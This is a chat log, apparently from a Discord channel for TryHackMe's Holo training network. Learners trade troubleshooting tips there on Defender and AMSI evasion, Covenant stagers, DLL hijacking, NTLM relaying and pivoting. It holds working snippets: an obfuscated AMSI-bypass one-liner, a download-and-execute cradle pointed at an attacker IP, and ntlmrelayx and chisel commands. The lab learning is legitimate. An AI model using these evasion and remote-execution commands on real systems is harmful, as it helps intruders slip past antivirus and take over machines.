holo-network

[nocturne pulsar]

yeah, i did, like a few minutes ago

[wind bobcat]

cool, just wanted to make sure -- I saw it was at 104/106 haha

did you end up getting it working?

[nocturne pulsar]

ok, lol the question is submitted the last flag

[livid shoal]

yes worked only once

i added my user

[wind bobcat]

gg no re lmao

[livid shoal]

and pressed ctrl c

by mistake and then

not again

[wind bobcat]

I DM'd you the final flag on thm as well

[nocturne pulsar]

yeah, psexec didnt work for me but smbexec did

[wind bobcat]

will add a note ^

[livid shoal]

finally completed the network

Thanks @wind bobcat @lone spruce for making this awesome room and helping wherever i got stuck
thanks to you too @river cradle for all the help
waiting for more networks now lol

[hollow steeple]

Gave +1 Rep to @wind bobcat

[wind bobcat]

btw the S-SRV02 bug should be fixed by Tuesday at the latest

[next kite]

My powershell grunt doesn’t seem to work even when amsi is bypassed.
As far as I know amsi is bypassed anyway, because the payload I have works on my machine (not being picked up) but not from a remote machine. I may mess around with the listener and web ports (is it a a problem if they’re the same?) as I may have some weird firewall rule due to my setup.

I also need to change the HTTP profile in Covenant

[livid shoal]

yea it doesnt work because its blocked by defender 💀
i ended up using simple rev shell script from revshells.com

u need to clean

covenant

[next kite]

My php file downloads the stager.ps1 file from covenant, and this includes the AMSI bypass, and then includes the payload itself

How is defender blocking it if it’s being executed in memory? Surely only amsi should be of concern?

Is it defender blocking the execution or something? @livid shoal

As in noticing it’s suspicious and stopping it?

[bronze kettle]

@wind bobcat could you please dm me?

[wind bobcat]

regarding?

[bronze kettle]

last flag

[wind bobcat]

sent on THM

thought it was discord related at first lol

[bronze kettle]

appreciated it

[wind bobcat]

y'all are getting faster - 3 done in 24 hours 👀

[livid shoal]

we all might have discussed some mutual problems lol

which made it a lil faster

[livid shoal]

yeah

it does

maybe

[next kite]

How/why?

[livid shoal]

amsi is just one thing

[next kite]

Could I change the php payload to just execute the grunt there and then?

Would that bypass? Is it because I’m downloading something that it’s flagged? The download hits so it’s obviously my grunt which it doesn’t like. Or the AMSI bypass I have doesn’t work (the AMSI program checker thing returned no problematic strings) so I’m assuming AMSI is bypassed?

[livid shoal]

naah just make a PowerShell payload with amsi bypass at the top and the reverse shell code at the end. you can try covenant stager too but that didnt work for me. now from php just execute the ps1 file

[next kite]

Im stubborn lol

Imma keep on with my covenant stager and see how it goes

[livid shoal]

IEX(New-Object Net.WebClient).DownloadString('http://10.x.x.x:3333/yourpayload.ps1')

[next kite]

I have IEX (IWR http://etcetcetc)

And that works on my testbed machine but I do have an exclusion zone on the C drive. May have to add another drive to my VM and run it in there

[livid shoal]

yra try it

[livid shoal]

i was too but its easy to use simple reverse shell

[next kite]

Will have to get back to it tomorrow now. Thanks for your help

[livid shoal]

you need to clean covenant

its signatures are

easily detectable

[next kite]

I’ll change the profile and all settings, then will also look at its code and mess with that a little.

[restive bluff]

Can I stream holo on twitch if I plan to do it from Wednesday onwards? Just confirming as again it's for sub only ppl

[wind bobcat]

go for it

we're at the point where people have completed it, so I don't mind

[restive bluff]

Gr8🔥 thx ❤️

[umbral crow]

Wait is the holo network available to everyone?

[foggy crest]

for subscribers only

[umbral crow]

Ok, nice, I'm going to connect now 🙂

[next kite]

im using covenant and all of my grunts keep dying. Real time detection is off and none of the modules actually work - all i get is 'command is uninitialised' for every task i try to use. Any ideas? I followed installation, and have a filepath exclusion for defender where covenant is installed.

okay it seems thats down to the powershell launcher

it dies

whenever i run a task

the binary launcher is fine

[livid shoal]

wait did u end up getting covenant working?

wow

i never did

🥲

[next kite]

no not yet

im testing locally

[livid shoal]

i think i will do the network again with covenant

[next kite]

to work out what my issue is

with an amsi bypass i could have it working

but

and big but

[livid shoal]

yes?

👀

[next kite]

the powershell launcher dies almost instantly

i cant task anything

even with real time protection off

[livid shoal]

ahhh

[next kite]

i get no errors at all

on either end

it just dies

[livid shoal]

defender

at its work

[next kite]

its not on

i disabled it

[livid shoal]

defender is always on. its a core windows feature. u need to clean the payload

rtp and defender are different things

[next kite]

oh right. but i turned real time protection off? and disabled all other settings.

[livid shoal]

u tried the payload on your local machine?

[next kite]

oh maybe...

yup

thats where im testing reight now

[livid shoal]

it works?

or not

[next kite]

binary yes

powershell no

powershell connects, but then dies

[livid shoal]

u getting any defender alerts?

also

even if rtp is off its not off on the main machine

[next kite]

none

[livid shoal]

so its of no use anyways

[livid shoal]

the server machine has it on

[next kite]

i have the binary working fully

no issues

real time protection on

now to test on the network

[livid shoal]

woah

it didnt work for me even if i

disabled that

idk why

[next kite]

i did nothing at all to the settings.

im going to soft reset and try again just to be sure

[livid shoal]

yea

try that

[next kite]

hmm im really stumped right now lol

[livid shoal]

trust me use powershell reverse shell payload first

then u can always

execute a binary

from covenant

by disabling everything

[next kite]

yup iy worked

binary launcher

i tweaked default settings for good measure

but yeah i downloaded with powershell IWR http://WEBADDRESS/launcher.exe -O launcher.exe; .\launcher.exe

nevermind

defender kills it again when i run a task

xD

[livid shoal]

exactly

it wont work

👀

use reverse shell

[livid shoal]

check the payload with threat check

once

[radiant spindle]

it sent an email for gurag but didn't gave any token with it.

[livid shoal]

the token is right in front of u

👀

[radiant spindle]

damm that's in cookie, all this time i was looking in user_token params

[livid shoal]

lol

[ornate crystal]

Hi. I have a doubt about 'What file leaks the web server's current directory?' in Task 9. I have completed 50 % of the room now but not able to understand what is needed to answer this question.

[frigid nacelle]

The answer is related to running the tool discussed in the task. 🙂

[maiden pendant]

┌──(tac㉿kali)-[~]
└─$ ping 10.200.124.33 1 ⨯
PING 10.200.124.33 (10.200.124.33) 56(84) bytes of data.
From 10.50.121.1 icmp_seq=1 Destination Host Unreachable
From 10.50.121.1 icmp_seq=2 Destination Host Unreachable
someone have issues too?

[ornate crystal]

I am having issues

[lone spruce]

Could you be a little more verbose

[livid shoal]

try disconnecting/reconnecting to vpn

[maiden pendant]

i did before ask

[radiant spindle]

wait we need a reset_token not user_token

[livid shoal]

same

thing

append it ahead of the parameter

👀

[radiant spindle]

it worked 🙂

[livid shoal]

[wind bobcat]

🖨️ 🐛

[livid shoal]

👀 saupki ig u need to patch print nightmare vuln in holo if not already 👀 someone was trying that way. when i rdp once, the cve exploit was on the machine and someone was trying to execute it idk if they succeeded or not

[wind bobcat]

if it was a challenge network, I'd be more concerned with it

however, the main goal of the network is to learn

if you're learning something by trailing print nightmare, good.

[foggy crest]

How is ur OSED spooks

[wind bobcat]

whenever someone asks, I just provide them with this link:
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/d--da--db--dc--dd--dd--df--dp--dq--du--dw--dw--dyb--dyd--display-memor

If anyone is still in the .69 network - Leave and rejoin the room and you'll be assigned to a network with less than 120~ people

[livid shoal]

wha- 120 people

omg

thats insane

[livid shoal]

woah and with this i am thinking 👀 will there be a challenge network in future?

[wind bobcat]

likely. I'm really just waiting a bit before I decide to pitch one

ive got a million ideas

[livid shoal]

hope we get million more networks

lol

[wind bobcat]

since I've got to make some changes anyways, I'll disable print spooler

[livid shoal]

thats nice. also i got a doubt. the attack we did in the last is not widely used. why so? didnt get that

[wind bobcat]

because no one really ever thought to do it except me and some other dude

[livid shoal]

woah noice 👀
also how this part?

The reason this attack vector isn't widely used is that it is very disruptive. If the server is busy, you are unintentionally creating an SMB DoS and creating server downtime. In a real engagement, this is a huge problem

like how does it creates a smb dos

[wind bobcat]

you're turning off SMB on the target system, preventing other devices from accessing it

[radiant spindle]

I'm stuck on obfuscation shell part, can someone help out a bit. In small study room

i encrypted the payload but can't get it up on srv01

[wind bobcat]

the command sc stop lanmanserver && sc disable lanmanserver disabled the actual SMB service from running

[radiant spindle]

also no threats found in threatchecker, compiled that as well

[livid shoal]

ah isnt there a way to fake it somehow for the services . ( sorry if i am talking some senseless things really new to this stuff 😅 )

[radiant spindle]

@livid shoal can you help if you are free a bit

[wind bobcat]

No -- it's not so much that is you're physcially stopping the windows service from running on the machine, closing the port and redirecting all inbound traffic on the machine to you (the attacker), so you are effectively the listening SMB service. Not the windows machine.
The only possible way to make it accessible would be with some magic that I tried and it didn't end up working

[livid shoal]

magic 👀

[livid shoal]

like cant we do something, intercept the traffic and send it back to the machine at the same time too

[wind bobcat]

no

you'd have to build something custom for it, and it'd take a ton of time and a ton of effort

[livid shoal]

yea but its a possibility? like in theory this can be done ?

[wind bobcat]

anything is possible

theoretically here's the process that you'd have to take:

• Verify the credentials are valid against a device
• Hold the session open w/ NTLM Relay X
• send back the "ok authentication is all good" (which might destory the held open session w/ NTLM Relay X) on the target machine
• Proxy a connection between the pwned devices filesystem and your kali machine (since that'd be the device that's brokering the conversation)

[lone spruce]

Just because threat check says it’s clean doesn’t mean it is

look at the blog post referenced

[radiant spindle]

my file is uploaded and windows is not deleting it for some time now

[maiden pendant]

someone get stuck at resetting too? im waiting for three hour and nothing change

[wind bobcat]

just verifying, you refreshed the page, correct?

[lone lava]

It's like this for hours now..

[maiden pendant]

yes, leave room,restart pc, i cant ping too, try with vpn and startbox

[lone spruce]

cc: @outer junco

[outer junco]

I'll take a proper look into why this is happening, thanks for letting me know.

[daring crest]

Hello, I'm stuck on AV Evasion, if I understand, we need a payload containing AMSI bypass (like Patching amsi.dll), a payload (a ping for example) and the entire payload need to be obfuscated. But This doesn't work for me. Have I forgot something ?

(I've check my payload with ThreatCheck too)

[next kite]

If you’re using a covenant grunt then obfuscation isn’t enough

They give info on killing any signatures

But

[daring crest]

I'm not using covenant

[next kite]

Covenant is a real pain to get working

Okay what are you using?

[daring crest]

I'm using https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#Patching-amsi.dll-AmsiScanBuffer-by-rasta-mouse
and a simple ping command in a PS1 file

[next kite]

Have you tested your payload on a windows machine with defender on to see how it responds?

https://AMSI.fail

[daring crest]

I've obfucated the file with Invoke-Obfuscation

I've check my file with ThreatCheck

[next kite]

Okay. It’s really hard to say why it won’t be working

But try it on a windows machine

That you can see output on

That way you know what’s going on and if it’s working.

[daring crest]

Ok, if I have the good methodology, I'll try harder,
Thank you @next kite 😉

[hollow steeple]

Gave +1 Rep to @next kite

[next kite]

No probs.

I ended up having a multi stage thing. Php file uploaded which downloaded a stage1. Stage 1 was the AMSI bypass, and then the bottom of stage 1 was to download stage 2, which was the revshell. I tried it all together as 1 launcher but it was being picked up and not executing

[daring crest]

Good idea !

[next kite]

When you’re on you can disable AV

[daring crest]

ok

[next kite]

Really struggling with the DLL stuff

I suck at windows lol

So far I think I found soenthing but I didn’t find it on scheduled tasks. Only by fluke because I checked ‘ps’ and also enumerated the users dirs

the thing doesnt execute even without my dll

syas i dont have permissions 😦

i dont suppose theres a reboot script which fixes things is there... lol

[lone spruce]

because you dont have permission to run it

[next kite]

Oh ok lol

[lone spruce]

a "user" on the network runs it

[next kite]

That makes senseeee.

I must have been doing the right thing then. Maybe.

I’ll have to look again tomorrowwww

[lone spruce]

as always I suggest testing on your own dedicated environment first

test your dll, download the application, make sure its the right DLL name, etc

[next kite]

Sure thing 🙂 im getting tired and lazy, should have just done that. I’ve done it every other step of the way

[next kite]

There was nothing in scheduled tasks @lone spruce - was there meant to be? Maybe I missed it but all of them had the path of ‘Microsoft’@something or another. I can’t remember exactly but away from my PC now

[lone spruce]

its there

might not show up for you now as your not an elevated user

[rare star]

Hi, can anyone help me with the privesc of L-SRV01? I always receive this message "Unable to find image 'alpine:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers).
See 'docker run --help'."

[wind bobcat]

you should look and see what images are available for use and not just copy what's on gtfobins

[rare star]

Yeah, I had forgotten about that detail but I managed to resolve it a few minutes ago, but thanks for answering anyway

[hollow steeple]

Gave +1 Rep to @wind bobcat

[livid shoal]

you could do that in one file only

[radiant spindle]

rather than just bypassing it, i tried a simple ps1 which can be executed with php

just tried telnet and tried to listen it, but failed. So i don't think my exploit will work

any suggestions

[daring crest]

I've starting with a ping and it works for me. In my machine I listen to ICMP packet with tcpdump to receive them

After that I've added complexity to bypass AMSI

[livid shoal]

nooo whyyyy. defender is still there

u need to bypass amsi

anyways

defender wont allow the connection

and wait telnet is not on windows?

is it?

[radiant spindle]

it's not tried it

i created a obfucated web shell and got a simple web shell

now from there i'm trying to bypass the amsi

just for troubleshooting, can't figure out what i'm doing

[lone lava]

Are labs even working?

It's like this for days now..

[livid shoal]

its sort of known issue

[radiant spindle]

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) i tried it to bypass amsi

it works on my machine and then it can run the ps code but fails on the remote machine. I'm running windows 11 everything patched up.

[livid shoal]

why windows 11

[radiant spindle]

been in insider program for long time, it was normal update 🙂

[livid shoal]

yea so try in a windows 10 vm

[radiant spindle]

lol

[livid shoal]

second

check it

first

[radiant spindle]

it picked up a ps script without bypassing amsi

after bypassing amsi it didn't picked up on windows 11

[daring crest]

To land in PC-FILESRV01 we need to pass the hash, but it didn't work. Have I missed something ?

[radiant spindle]

it

it's same, need help 😦

[livid shoal]

what help?

[livid shoal]

use rdp ig

nope cant do vc rn

[daring crest]

Thx 😄

[hollow steeple]

Gave +1 Rep to @livid shoal

[livid shoal]

no probs

[quiet raft]

Please keep all messages in English in this discord

[radiant spindle]

got in but within 5 sec., my rdp session gets terminated

[16:48:36:723] [9008:9009] [ERROR][com.freerdp.core] - rdp_set_error_info:freerdp_set_last_error_ex ERRINFO_DISCONNECTED_BY_OTHER_CONNECTION [0x00010005]

||proxychains xfreerdp /v:10.200.128.31 /u:watamet|| this is what i used to connect

any suggestions ?

a step or some info should be added before task37 about RDP part of it

[maiden pendant]

yet with this problem

[livid shoal]

lol u need to wait ig

maybe some other person have an active session

[radiant spindle]

just wanted to know if it's a bug for me or someone is seriously logged in

so now i've to search how to kick someone out of session from ps 😆

[radiant spindle]

nope, no one is in active session

[livid shoal]

try changing

rdp

client

[radiant spindle]

trying

works

🙂

[livid shoal]

great

[radiant spindle]

on file server task 37, logged in as user. As per task, I'm supposed to have access to Group Policy Editor

to enable access to applications

we need this access, but can't this gp

when i open secpol.msc, i get this

[daring crest]

I can't found response for question 2 in Task 38:

What monitoring/event-logging solution is employed on PC-FILESRV01?
What have I missed ?

[radiant spindle]

well how you bypassed applocker i can't even access group policy

[daring crest]

Yes you can't acces to it, you don't have rights.

[radiant spindle]

then how we are supposed to bypass it in task 37

[daring crest]

but you can find folder where AppLocker doesn't work, take a look at applocker_check.ps1

[radiant spindle]

ok for me i think then whole point is i don't have any applocker folder and applocker_check.ps1

[daring crest]

you have to upload applocker_check.ps1 to the victim (with smbserver.py or python -m http.server)

[radiant spindle]

did you find it, i can't find it as well. Trying to reset network

for me when i was trying to do priv esc changed few things in windows firewall

even wiped existing signatures 😆 cause of amsi

[daring crest]

No, I can't find it :/

[radiant spindle]

any suggestions for 2nd question in task 38

i tried both tools didn't got answer

[lone spruce]

@outer junco have you taken a look at .124 yet? Still stuck in a reset state

[outer junco]

It just needs 1 more person to reset the network for it to come back online, looking through the logs to find the true cause of why it got stuck in resetting - as a quick fix if the user resets the network again, it'll bring the network back up.

[radiant spindle]

placed both files in one dir but when i execute kavremover i get an error about admin privs

i tried two other injectors 1, Exterme injector 2. Xenox (i was able to see process but don't have access right to inject)

when i run kavremover tool a txt file will be dumped with these logs

i

i'm out of ideas how i can inject in this application

[livid shoal]

wha-

[livid shoal]

what you need to inject?

[lone spruce]

you dont run the application

[livid shoal]

^

[lone spruce]

a "user" on the network runs it

[radiant spindle]

a dll from metasploit

[livid shoal]

u just place it

[radiant spindle]

i placed it but never got the shell

[livid shoal]

the dll u used should have name not found on

procmon

[radiant spindle]

while for testing when i injected it in notepad i got shell so atleast shell is working

can't run procmon as well need admin access

[livid shoal]

u need to run procmon

on your

machine

download that exe

to your vm and run it

see the processes

[radiant spindle]

u mean exe ?

cause dll is payload

[livid shoal]

yea

sorry

[radiant spindle]

got it

[lone lava]

Pls fix holo it's state is paused..

[radiant spindle]

it don't have kavremoverENU.dll

and that was my dll name but still i never got shell

renamed the file to other dll but still same

any suggestions

maybe can you guys recon one

[lone spruce]

have you tested it on your own machine first?

it could be a number of problems

are you fully reading the tasks before you just go and throw things around? Most of your questions you've asked have already been answered

[undone rune]

am I the only one having problems reaching L-SRV01 via ping? I'm successfully connected to the network...

[wind bobcat]

which network are you on?

[undone rune]

69

[wind bobcat]

that's an issue

leave and rejoin please?

[radiant spindle]

It's just I straight away started from Hilo network as newbie sorry

[undone rune]

that fixed it - thanks!

[hollow steeple]

Gave +1 Rep to @wind bobcat

[wind bobcat]

[undone rune]

quite simple as: have you tried turn it of and on again 😉

[livid shoal]

well

try resetting the network ( if u got votes )

it didnt work for me as well for the first time.

but eventually it did

[livid shoal]

well do the basics first.

[lone spruce]

Holo is definitely not something you should just start with right out of the gate. It’s designed in such a way it teaches all concepts needed but it assumes some background knowledge to begin with

[radiant spindle]

Holo taught me ton of thinks which I couldn't have learned from basic machines in this time

[real zodiac]

I made the mistake of just diving into the deepend of the pool and now I'm drowning

[radiant spindle]

I am neural net developer from 2 years, have done windows automation with beatbox,powershell,python,.net for a year

Like I found different injectors extreme, xenox for dll hijacking. I'm trying my best to find out alternatives as well.

I have to do windows machines mainly been asked by my manager, I am working on a research to detect attacks in real-time on ad, so need ton of logs after attacking my home labs. Got a mail exchange servers network at home as well just for this in hybrid environment. Been reading few research papers as well. Writing an review paper currently 🙃.

[livid shoal]

u dont need them the injectors. did u read the instructions?

[real zodiac]

anyone else having connection issues??Having issues with the holo network, can ping but cannot access the dev and admin portals, everything was working well all this time

[livid shoal]

you added that to hosts file?

[zenith canyon]

Oh for crap sakes, i was stuck with task 7 did a port scan but no port 80. eventually left the room got a new ip and got a port 80 open

is there something wrong with ip 10.200.69.33 ?

I mean the whole 10.200.69.0/24 network

[livid shoal]

yes

actually not but yea there were like 120 👀 persons on same network

so ....

[zenith canyon]

well that explains 😅 thanks

[radiant spindle]

i read the instructions but exploit was not working so i just wanted to test my dll if my reverse shell is valid or not. So i injected my dll in notepad and got user shell

just a trial and error

figure that out today

in task 46, it's nowhere mentioned we are supposed to turn off services on dc, srv02, or fileserver.

i disabled the services on fileserver and lost now

on which server we'r supposed to run shell from meterpreter and do port forwarding

also there is bug in task 38 What monitoring/event-logging solution is employed on PC-FILESRV01? we don't have any monitoring agent on the server atleast anymore if there should have been a amazon monitoring agent or something.

[livid shoal]

there is

[radiant spindle]

+1

[livid shoal]

view event viewer

if u know about it you can find

it

[livid shoal]

u only have shell for file server

so thats what u

are working on

[radiant spindle]

i have the admin shell on fileserver

why we have to create another shell.exe for the same server

[livid shoal]

yea u can avoid that

part

[livid shoal]

u need a meterpreter tho

if not already

[radiant spindle]

ok got confused there

have the msf shell with me

[radiant spindle]

nope we don;t have any agent atleast now

so here's what i did i picked up all the source from applications
PS C:\Users\watamet> Get-EventLog -LogName Application | select-object Source | clip

and used a regex which tryhackme expecting can be 6 words so i threw the output on regex101 and used a simple regex \w{6,6}

we don't have any possible candidates which can be a logging agent

[lone spruce]

https://tenor.com/view/gordon-ramsay-facepalm-stressed-headache-ugh-gif-17809450

Follow the tasks

[radiant spindle]

i'm trying my best 🙂

[lone spruce]

Event logs are not mentioned once in the tasks

[frigid nacelle]

There's also learning in doing things that provide no expected results. 😄

[radiant spindle]

manan told me to do it

i used seatbelt but didn't got any result

[livid shoal]

not the event logs

can u open event viewer ( use rdp ) idr exactly that i had the right for it or not ? if not then yea its a bug. it doesnt come in seatbelt logs

but its pretty common

so you can guess it

@radiant spindle

[radiant spindle]

i'll try it tmrw only one task left now, will start throwback

[daring crest]

the ntlmrelay take long time to catch something ?

about 10 min, and the network stop

the task says 1-3 min

[lone spruce]

@wind bobcat bork

[daring crest]

@livid shoal how many time have you waited for ntlmrelay ?

[wind bobcat]

if it doesn't come instantly, make sure you typed in all the commands correctly

if it doesn't work -- reboot the machine

[daring crest]

all commands are corrects, all logic is in place, so I don't understand

[wind bobcat]

Wireshark should still be installed - if you run it and filter on TCP port 139,135,445 do you see inbound SMB connections coming from S-SRV02?

and most importantly, you've installed the two packages in Kali and added the smb2support flag on ntlmrelayx?

[bold raft]

Hi @wind bobcat can you send the S-SRV02 flag for me too, I already finished the DC.

[wind bobcat]

WIll send it over on THM in a sec -- btw you don't have Task 27Q3, Task38 Q2 to do as well

[lone spruce]

Spooks babes you gonna fix that box?

[wind bobcat]

in a minute

creating the feedback form since we're at 11 completes

[livid shoal]

sometimes it works instantly sometimes it takes time

1-3 mins is a sweet spot

[bold raft]

All hashes that I try always I get an error message STATUS_TRUSTED_RELATIONSHIP_FAILURE from the S-SRV02 host.

[lone spruce]

Because spooks way borked that box

I’ve never seen a box do what it’s doing

[livid shoal]

because the machine needs to be readded to the domain. and that needs to be fixed

and that can only be done via local administrator account

[radiant spindle]

i created a local relay with metasploit by turning off proxychains, but now when i use socks tag in ntlm realy i get no relays avaiable

and if i go with proxychains then i waited for like 10 min. didn't got anything

added the proxy in proxychains as well socks5 127.0.0.1 1080

have the connection in netstats as well tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -

[daring crest]

+1

[radiant spindle]

did you tried socks as well with ntlmrelay rather than proxychains, is it same for you in -socks as well ?

[daring crest]

yes, the same

[radiant spindle]

yo exact same

[radiant spindle]

verified smb is off in local responder

╰─$ cat /etc/responder/Responder.conf                                                                          130 ↵
[Responder Core]

; Servers to start
SQL = On
SMB = Off

[daring crest]

For the question 2 task 38 (event logging/monitoring) I've search with multiple tools (seatbelt, SharpEDR, Event Viewer) , looking around in C:/ directories, procmon, services, but I've found nothing. Something has change in this server ?

[radiant spindle]

ok atleast started getting responses, here's what i did terminated my shell and waited for a new msf shell

once i got it forwarded the port while ntlmrelayx was on

the moment i forwarded the ports again, i started getting response on ntlmrelayx

but can't get hand of on relay, stuck on attacking target, from 5 min.,

[river cradle]

was your pivot using sshuttle or chisel with socks? and are you running your ntlmrelay through that proxy

[radiant spindle]

i terminated my chisel proxy

i created port forwarding through msf and then added address in proxychains

and used ntlmrelayx

[river cradle]

because of the way the attack works, you will need to have ntlmrelay be proxied through the pivot for it to reach the target server

[radiant spindle]

sudo ntlmrelayx.py -t smb://10.200.135.30 -smb2support -socks

in msf i have a portfwd for pivot

[river cradle]

so if you were doing chisel, you'll need to get it back up + probably change the port to be something other than 1080 because that's the port ntlmrelay will try to bind to to create a proxy after making the session

[radiant spindle]

lemme try

[river cradle]

that's for forwarding :445 to your machine

you still need a way of reaching .30 from your machine

and unless you routed it through someting else, you will need to get your pivot back up

[radiant spindle]

in chisel by default it picks up 1080 port in listener

[river cradle]

you can change it by using R:port:socks instead of R:socks

so R:1081:socks for example

[radiant spindle]

i think the main problem is dc can reach my machine but i can not, correct if i am wrong so we have to create another proxychain to listen

[river cradle]

not to listen but yes, you can't reach the DC

[radiant spindle]

so this is my proxychains nowsocks5 127.0.0.1 1080 socks5 127.0.0.1 1081

[river cradle]

are you using proxychains or proxychains4?

[radiant spindle]

proxychains

[daring crest]

I'm using sshuttle for my pivot, ntlmrelay seem to work, but

[river cradle]

you might need to comment out 1080 if it causes problems since it doesn't exist yet

[river cradle]

are there any errors in the ntlmrelayx window/log after running this?

[daring crest]

No errors :

[river cradle]

try using secretsdump instead of psexec, and then psexec with the dumped hashes

[daring crest]

without psexec we can create account for "mynewuser"

[river cradle]

since secretsdump uses smb under the hood too, you can try to run it directly through the proxy without the need of a new user, that's what i did

also you might want to restart the relay and catch a fresh session, might be helpful

you won't need to re-forward the port, just restart the relay itself

[livid shoal]

use smbexec

psexec doesnt work for some reason

[daring crest]

it's works

[livid shoal]

:)

[daring crest]

I have a user domain admin, but when I'm trying to login in SERV02, I have this error :

[-] SMB SessionError: STATUS_TRUSTED_RELATIONSHIP_FAILURE(The logon request failed because the trust relationship between this workstation and the primary domain failed.)
Do you know why ?

[radiant spindle]

.

+tech support

[zenith canyon]

I cant login to the admin panel anymore, I get a 302 response with in the response body 'valid' but it keeps loading forever 😫

[radiant spindle]

restart the browser, phpsession is valid for one time

[zenith canyon]

Should have thought about that 😅 Thanks man!

[hollow steeple]

Gave +1 Rep to @radiant spindle

[radiant spindle]

also there is bug in question 2 of task 38 which monitoring agent is installed, please please look into that as well. There is no agent installed atleast anymore

[radiant spindle]

Hi @wind bobcat can you send S-SRV02 flag to me as well

[daring crest]

Hi @wind bobcat , Can you send me the S-SRV02 flag too plz ?

[livid shoal]

👀 i mean have u heard about sysinternals?

[radiant spindle]

yup i do but that's not in tasks

[lone spruce]

I’ll look into it but I’m 80% sure it’s still there

[wind bobcat]

@daring crest @radiant spindle shot you both messages over on thm

[next kite]

Any chance for a reset on the .106 network please. The program needed for the dll hinacking is gone so I can’t do it

Oh wait it’s here but not sure if it’s in the right place

Can I PM someone please to see if it’s in the right place!

[daring crest]

Thanks 😄

[hollow steeple]

Gave +1 Rep to @wind bobcat

[next kite]

I also can’t move it back

Or if someone is admin please could they send it back to the right place please. The scheduled task is no longer executing

[daring crest]

I've added a +1 to reset your network

[next kite]

It’s been stuck on 2 for 2 days - I’ve checked regularly and been waiting. My files I created two days ago are still there. Admittedly should have just hit reset

[next kite]

Have you rooted it and done the dll task? Any chance you could move the file back as an admin please 🙂

It does have to run from a certain place right?

It’s currently in tasks (i don’t think it should be there)

[next kite]

Thanks

[hollow steeple]

Gave +1 Rep to @daring crest

[daring crest]

yes, the dll need to be in the good folder (i've placed it in multiple folder to be sure :p )

[next kite]

Thankyou amazing

[bold raft]

This vm is also vulnerable to PrintNightmare LPE

[wind bobcat]

we're aware

this is the official response on print nightmare -- We're not overly concerned w/ patching things like that. We're more up for teaching users new attack vectors -- if that's the way you wanted to do it, that's cool. As long as you learned something 🙂

[lone spruce]

no, it shouldnt probably someone messing around and moved it attempting to bypass applocker

[next kite]

Okayyy

I used print nightmare to get admin so I could move it back and get it working

It’s not right now for some reason but I’m on it 🙂

[lone spruce]

I just checked everything on PC-FILESRV01

everything you need is there

[next kite]

Yup I just fixed it

That’s why lol

Thankyou :))

[lone spruce]

on my local instance lol

ie the master instance for all the other networks

The logging agent, scheduled task, and application are all there

[next kite]

I’m unsure if the NTLM relay is working. I’ve been waiting 5 mins (I know the room says two or three). I disabled all required settings and have my meterpreter port forward going

[lone spruce]

It’s not

[next kite]

Ohh

[lone spruce]

spooks is losing his mind over it

[next kite]

Oh no

Hmm

What can I do for now then?

I can’t proceed with out it right?

[lone spruce]

Ask spooks for the flag lol

[next kite]

Is that @wind bobcat ?

I tried messaging but discord settings disallow it

Wait

I got something

[wind bobcat]

it is nematode

S-SRV02 is the one that's broken

if it's been that long and you've triple checked the settings outlined in the task and aren't getting a session relayed to you, reboot PC-FILESRV

[next kite]

I just got something 🙂

[wind bobcat]

ezpz

[next kite]

I just get connection refused lol

With psexec

Not sure my port forward is working

It says local relay created

And then I get connections from the srv admin

@wind bobcat

It may be as I’m running in WSL On windows commando and that has some funky networking

I’ll try shifting in just a minute.

[wind bobcat]

a couple of others have said to try smbexec

[next kite]

Yeah it doesn’t seem to be working

Smb exec also doesn’t work for me. I get an error ‘don’t have a relay’ when I try it, but I have my meterpreter port forward, and I’m getting output from the NTLM relay

What am I doing wrong?

That’s running my vpn direct on the WSL VM so I don’t think it’s networking issues

[topaz jewel]

Need to reset

[next kite]

Why?

[spice heron]

I'm getting the Trust Relationship has failed when trying to RDP to S-SRV02 with the domain user I created. Any fix for that?

[river cradle]

it's being worked on
if you need the srv02 flag then ping spooky

[next kite]

What’s going wrong in my NTLM relay above? I attached pictures to help debug.

[spice heron]

Are you using sshuttle or chisel for your initial pivot? I couldn't get it to work with chisel, but worked with sshuttle.

[next kite]

I’m using chisel

I’ll have to try sshuttle

But I

It Shouldn’t make a difference becahse I have my shell from the file server through meterpreter that is port forwarding

[spice heron]

the portfwd in msf is only on port 445

[next kite]

Yes but then ntlmrelayx also starts a procychains

So I need my sshuttle running still I guess

[spice heron]

Thats what worked for me. Run shhuttle, and then drop the proxychains on the ntlmxrelay command.

[next kite]

Ah this is where I’m going to have issues

I’m working out of WSL

Which can’t use ip tables properly so sshuttle doesn’t work

[spice heron]

Not sure on what you need to do then. I couldn't get it to work with Chisel since chisel and ntlmxrelay are both trying to use the socks proxy.

[wind bobcat]

check PM's on THM

[spice heron]

Awesome, thanks!

[hollow steeple]

Gave +1 Rep to @wind bobcat

[wind bobcat]

[next kite]

I’m going to look into how to change the port for chisels proxy

Or for ntlmrelayx

Can’t find anything with a quick google so may have to jump over to my parrot machine and just do from there where I can run it

[river cradle]

use R:port:socks instead of R:socks in client arguments

[next kite]

Oh amazing Thankyou so much!!!

[river cradle]

if you were to change the port for ntlmrelayx it involves modifying the source code which was problematic when i was trying it 😄

[next kite]

I moved over to a commando VM recently as figured it was way easier for attacking windows from windows. It is, as I’ve found here, but it has its quirks when it comes to networking. Im using WSL2 which just has weird stuff going on and it changes IP every boot

However it’s been worth it so far.

Maybe I’m overthinking. @river cradle but how do you specify for the impacket to go through the right proxy chains?

Is it you change config half way through? Or is it clever enough to worn it out

[river cradle]

if you use proxychains4 instead of proxychains you can specify a config file with -f /path/to/config.conf which allows you to be more flexible with proxy configs

[next kite]

Okay cool Thankyou again 🙂

[river cradle]

I really recommend using it instead of the old version and possibly aliasing proxychains to be proxychains4 since it's compatible but allows for those custom config locations

[next kite]

@wind bobcat I’ve done the room 🙂 just can’t get that srv2 flag. Would you mind messaging me please 🙂

Was the intention for NTLM relay to work for SRV2?

[river cradle]

kinda, it should be possible but the SRV2 seems currently broken so domain credentials wouldn't work on it iirc

[next kite]

Yeah I tried passing the hash but it failed with a domain trust issue

